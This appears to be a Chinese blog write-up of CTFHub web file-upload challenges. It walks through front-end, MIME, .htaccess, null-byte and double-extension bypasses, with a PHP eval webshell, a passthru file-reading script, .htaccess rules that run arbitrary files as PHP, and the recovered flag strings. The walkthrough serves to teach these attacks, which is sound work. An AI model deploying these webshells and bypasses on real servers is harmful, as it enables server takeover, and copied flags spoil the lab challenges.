Ctfhub解题 web 文件上传

导读:本篇文章讲解 Ctfhub解题 web 文件上传,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com


介绍:记录解题过程

1.无验证

  1. 编写PHP一句话木马
<?php 
echo "上传成功";	
eval($_POST['cmd']);
?>
  1. 无验证直接上传
  • 回显
上传文件相对路径
upload/shell.php
  1. 使用蚁剑
    在这里插入图片描述
  2. 得到flag
    在这里插入图片描述
    在这里插入图片描述
<?php // ctfhub{c1a224871866a2b954019c3a}

2.前端验证

  1. 上传代码:
<h1>CTFHub 文件上传 - js前端验证</h1>
    <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
  1. 通过BurpSuite上传,先改为shell.png上传后再改回shell.php
    在这里插入图片描述
<script>alert('上传成功')</script>上传文件相对路径<br>upload/shell.php<!DOCTYPE html>
<html>
  1. 使用蚁剑连接后台得的flag
<?php // ctfhub{5fed6bd487cb10fc44595f14}

3. .htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

  1. 后台php验证
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "<script>alert('文件类型不匹配')</script>";
    }
}

方法一:

参考:

【CTF整理】CTFhub技能树-Web-文件上传-.htaccess

  1. 先写一个.htaccess文件上传
<FilesMatch "sj">  //sj随便写的,后面上传的文件没有后缀,就叫sj
 SetHandler application/x-httpd-php
</FilesMatch>
  1. 然后写sj文件内容如下:
<?php 
#passthru("ls /var/www/html/"); //第一次只写这一行,用来找flag文件在哪里
passthru("cat /var/www/html/flag_229326633.php");//第二次是找到了flag文件之后,直接读取内容
?>

  1. 第一次上传sj文件
flag_2548725103.php index.php upload
  1. 第二次上传sj文件,查看源码得的flag:
<?php // ctfhub{1eda6fc94520536b6d7adf5b}

方法二:

CTFHub—文件上传 (.htaccess)

  1. 根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
  • 意思是将文件名中带有 3 的文件当作php文件解析。
<FilesMatch "3">  
 SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

  1. 使用蚁剑连接后台得的flag
<?php // ctfhub{1eda6fc94520536b6d7adf5b}

方法三:

  1. 根据htaccess文件的特性,这道题可以重写文件的解析规则进行绕过。先上传一个名为.htaccess文件,将原有的文件替换掉。其内容如下:
AddType application/x-httpd-php .png
  • 意思是将.png后缀的文件当作php文件解析
  1. 使用蚁剑连接后台得的flag
<?php // ctfhub{1eda6fc94520536b6d7adf5b}

3.MIME绕过

Content-Type: image/png
  • 步骤与2.前端验证一模一样
    上传shell.png再在BurpSuite改后缀成shell.php即可上传

  • 得的flag

<?php // ctfhub{9c5857530ee6e8128a787182}

4.文件头检查

  • List item

5.00截断

了解一下 PHP 5.2 00截断上传的原理
https://www.fujieace.com/penetration-test/file-upload-00.html

<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
-->
  1. 上传一个图片文件

  2. BurpSuite抓包修改如下
    在这里插入图片描述
    在这里插入图片描述

  3. 使用蚁剑连接后台得的flag

<?php // ctfhub{7d6eb2f822228a57e111d124}

6. 双写后缀

  1. 依据提示双写后缀,上传shell.pphphp文件
上传文件相对路径
upload/shell.php

2.上传成功,使用蚁剑连接后台得的flag

<?php // ctfhub{ac1ea1254b2c9fe27c5eb368}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/92710.html

(0)
小半的头像小半

相关推荐

极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!